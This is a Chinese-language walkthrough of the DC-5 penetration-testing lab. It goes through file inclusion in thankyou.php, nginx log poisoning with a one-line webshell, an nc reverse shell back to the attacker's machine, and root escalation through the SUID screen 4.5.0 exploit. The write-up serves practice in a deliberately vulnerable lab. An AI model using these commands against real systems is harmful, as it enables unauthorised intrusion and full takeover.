渗透DC-5

靶机描述

下载地址:http://www.five86.com/downloads/DC-5.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).

As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.

And just for the record, there is no phpmailer exploit involved. :-)

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

But if you're really, really stuck, you can watch this video which shows the first step.

信息收集

扫描同网段存活主机

1
arp-scan -l

扫描端口号,发现开放了两个端口

1
nmap -A 172.18.1.139

访问80端口,是一个web应用程序,中间件为nginx

扫描后台文件目录

1
dirsearch -u http://172.18.1.139/

漏洞发现

目录扫描中存在两个web页面不显示的页面,footer.php和thankyou.php

contact页面有个提交内容的地方,每次提交完会跳转到thankyou.php

thankyou.php下面会有个时间显示(这个时间刚好是footer.php中的),url中包含文件访问请求,猜测每次访问thankyou.php的时候会加载footer.php文件

应该是footer.php控制着这个年份页脚,再回到提交内容页面,将提交后的东西全部删除,通过经验猜测参数大概率是file

尝试改变file传入的参数

猜想成功,这里确实存在一个文件包含,我们可以读取敏感文件

这里的利用思路是,利用nginx的错误日志信息,将一句话木马写进去,然后控制web应用

1
2
3
nginx日志存放地址:/var/log/nginx/error.log
当访问页面不存在时,会将错误信息保存在log中
访问的文件名改为一句话木马,然后这个木马就会被存在log中

木马上传成功

漏洞利用

蚁剑尝试连接,连接成功

kali开启监听端口,在蚁剑上利用nc反弹shell

1
2
# kali:nc -lvvp 1234
# 靶机:nc 172.18.1.128 1234 -e /bin/bash

利用python升级成交互型shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

提权

查找是否有suid权限的二进制文件

1
find / -perm -u=s -type f 2>/dev/null

存在一个screen文件

搜索相关漏洞

1
searchsploit screen 4.5.0

将找到的sh文件拷贝一份到桌面

1
2
searchsploit -m 41154
# 将文件拷贝到当前目录下

文件里就是提权exp,将这个bashwen'jian传到攻击机上

在html目录下不能上传,权限不够,但是存在tmp文件夹,这个文件夹一般存放临时文件,权限比较低,可以上传到这个文件夹里

1
在Linux中,tmp目录的权限通常设置为777(rwxrwxrwx),这意味着任何用户都可以访问和修改该目录中的文件。这是为了方便临时文件的创建和删除。

运行脚本,发现权限不够,还需要赋予权限

1
2
3
4
5
6
7
8
9
10
11
12
chmod +x 41154.sh

## chmod +x的用法、查询文件权限以及文件名颜色代表的含义
用法:设置谁拥有执行这个文件的权限
chmod +x 和chmod a+x 的用法是一样的,chmod +x 没有明确的要求一般就用chmod +x
u 代表用户(user)
g 代表用户组(group)
o 代表其他(other)
a 代表所有(all)
使用时输入如下命令:
$ chmod +x file name

赋权之后,运行脚本,提权成功

查找flag

1
find / -name *flag*

总结

  • 文件包含漏洞
  • 利用日志文件写入一句话木马
  • 蚁剑
  • tmp文件夹的权限问题
  • chmod赋权
  • screen提权